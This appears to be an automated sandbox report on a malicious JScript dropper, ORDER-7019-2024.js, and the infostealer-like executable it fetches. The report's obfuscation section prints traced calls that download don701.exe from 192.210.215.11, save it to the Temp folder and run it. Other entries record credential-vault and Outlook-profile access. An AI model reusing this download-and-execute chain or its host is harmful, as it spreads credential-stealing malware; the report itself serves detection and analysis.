Source: 2.2.MUGKZA.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.MUGKZA.exe.39e6378.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

PE file has nameless sections

Source: don701[1].exe.0.dr	Static PE information: section name:
Source: MUGKZA.exe.0.dr	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FEA8C0	1_2_00FEA8C0
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE0860	1_2_00FE0860
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE89F0	1_2_00FE89F0
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE4AE8	1_2_00FE4AE8
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE89E2	1_2_00FE89E2
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE897F	1_2_00FE897F
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE4AD8	1_2_00FE4AD8
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE4A6A	1_2_00FE4A6A
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE9CB0	1_2_00FE9CB0
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FE9CA0	1_2_00FE9CA0
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_028041E8	2_2_028041E8
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_028095A8	2_2_028095A8
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_02804AB8	2_2_02804AB8
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_0280C8A0	2_2_0280C8A0
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_02803EA0	2_2_02803EA0
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_02808D30	2_2_02808D30
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_066F72D8	2_2_066F72D8
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_066F0F91	2_2_066F0F91
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_066F6A44	2_2_066F6A44
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_0280959B	2_2_0280959B
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_0280CB88	2_2_0280CB88

Source: 2.2.MUGKZA.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.MUGKZA.exe.39e6378.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: don701[1].exe.0.dr	Static PE information: Section: c6ZK ZLIB complexity 1.0003393954918032
Source: MUGKZA.exe.0.dr	Static PE information: Section: c6ZK ZLIB complexity 1.0003393954918032

Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winJS@5/2@4/4

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Mutant created: NULL

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ORDER-7019-2024.js	Virustotal: Detection: 32%
Source: ORDER-7019-2024.js	ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\MUGKZA.exe "C:\Users\user\AppData\Local\Temp\MUGKZA.exe"
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process created: C:\Users\user\AppData\Local\Temp\MUGKZA.exe "C:\Users\user\AppData\Local\Temp\MUGKZA.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\MUGKZA.exe "C:\Users\user\AppData\Local\Temp\MUGKZA.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process created: C:\Users\user\AppData\Local\Temp\MUGKZA.exe "C:\Users\user\AppData\Local\Temp\MUGKZA.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source:	Binary string: c:\Users\Mysterio\Documents\Visual Studio 2012\Projects\Coronavirus\Coronavirus\obj\Debug\Coronavirus.pdbBSJB source: MUGKZA.exe, 00000001.00000002.1688357190.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000001.00000002.1690543391.0000000004E70000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: c:\Users\Mysterio\Documents\Visual Studio 2012\Projects\Coronavirus\Coronavirus\obj\Debug\Coronavirus.pdb source: MUGKZA.exe, 00000001.00000002.1688357190.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000001.00000002.1690543391.0000000004E70000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");var oRUN = WshShell.Run(filepath);}}catch(e){}IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3497.js.csv");ITextStream.WriteLine(" entry:1711 f:eval a0:%22try%7B%0Avar%20Object%20%3D%20new%20ActiveXObject(%22MSXML2.XMLHTTP%22)%3B%0AObject.Open(%22GET%22%2C%20%22http%3A%2F%2F192.210.215.11%2Fzoom%2Fdon701.exe%22%2C%20false)%3B%0AObject.Send()%3B%0Avar%20");IServerXMLHTTPRequest2.open("GET", "http://192.210.215.11/zoom/don701.exe", "false");IServerXMLHTTPRequest2.send();IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3497.js.csv");ITextStream.WriteLine(" entry:1711 f:eval a0:%22try%7B%0Avar%20Object%20%3D%20new%20ActiveXObject(%22MSXML2.XMLHTTP%22)%3B%0AObject.Open(%22GET%22%2C%20%22http%3A%2F%2F192.210.215.11%2Fzoom%2Fdon701.exe%22%2C%20false)%3B%0AObject.Send()%3B%0Avar%20");IServerXMLHTTPRequest2.open("GET", "http://192.210.215.11/zoom/don701.exe", "false");IServerXMLHTTPRequest2.send();IFileSystem3.GetSpecialFolder("2");IFolder.Path();IServerXMLHTTPRequest2.status();_Stream.Open();_Stream.Type("1");IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp/MUGKZA.exe", "2");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3497.js.csv");ITextStream.WriteLine(" entry:1711 f:eval a0:%22try%7B%0Avar%20Object%20%3D%20new%20ActiveXObject(%22MSXML2.XMLHTTP%22)%3B%0AObject.Open(%22GET%22%2C%20%22http%3A%2F%2F192.210.215.11%2Fzoom%2Fdon701.exe%22%2C%20false)%3B%0AObject.Send()%3B%0Avar%20");IServerXMLHTTPRequest2.open("GET", "http://192.210.215.11/zoom/don701.exe", "false");IServerXMLHTTPRequest2.send();IFileSystem3.GetSpecialFolder("2");IFolder.Path();IServerXMLHTTPRequest2.status();_Stream.Open();_Stream.Type("1");IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp/MUGKZA.exe", "2");_Stream.Close();IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3497.js.csv");ITextStream.WriteLine(" entry:1711 f:eval a0:%22try%7B%0Avar%20Object%20%3D%20new%20ActiveXObject(%22MSXML2.XMLHTTP%22)%3B%0AObject.Open(%22GET%22%2C%20%22http%3A%2F%2F192.210.215.11%2Fzoom%2Fdon701.exe%22%2C%20false)%3B%0AObject.Send()%3B%0Avar%20");IServerXMLHTTPRequest2.open("GET", "http://192.210.215.11/zoom/don701.exe", "false");IServerXMLHTTPRequest2.send();IFileSystem3.GetSpecialFolder("2");IFolder.Path();IServerXMLHTTPRequest2.status();_Stream.Open();_Stream.Type("1");IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp/MUGKZA.exe", "2");_Stream.Close();IWshShell3.Run("C:\Users\user\AppData\Local\Temp/MUGKZA.exe")

Source: don701[1].exe.0.dr	Static PE information: section name: c6ZK
Source: don701[1].exe.0.dr	Static PE information: section name:
Source: MUGKZA.exe.0.dr	Static PE information: section name: c6ZK
Source: MUGKZA.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 1_2_00FEB588 push eax; iretd	1_2_00FEB589
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_066F02B4 push dword ptr [ecx+ecx-75h]; iretd	2_2_066F02BB
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_066F0006 pushad ; ret	2_2_066F0039
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Code function: 2_2_066F0EC8 push esp; iretd	2_2_066F0EC9

Source: don701[1].exe.0.dr	Static PE information: section name: c6ZK entropy: 7.999424528775949
Source: MUGKZA.exe.0.dr	Static PE information: section name: c6ZK entropy: 7.999424528775949

Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe			Jump to dropped file
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Temp\MUGKZA.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
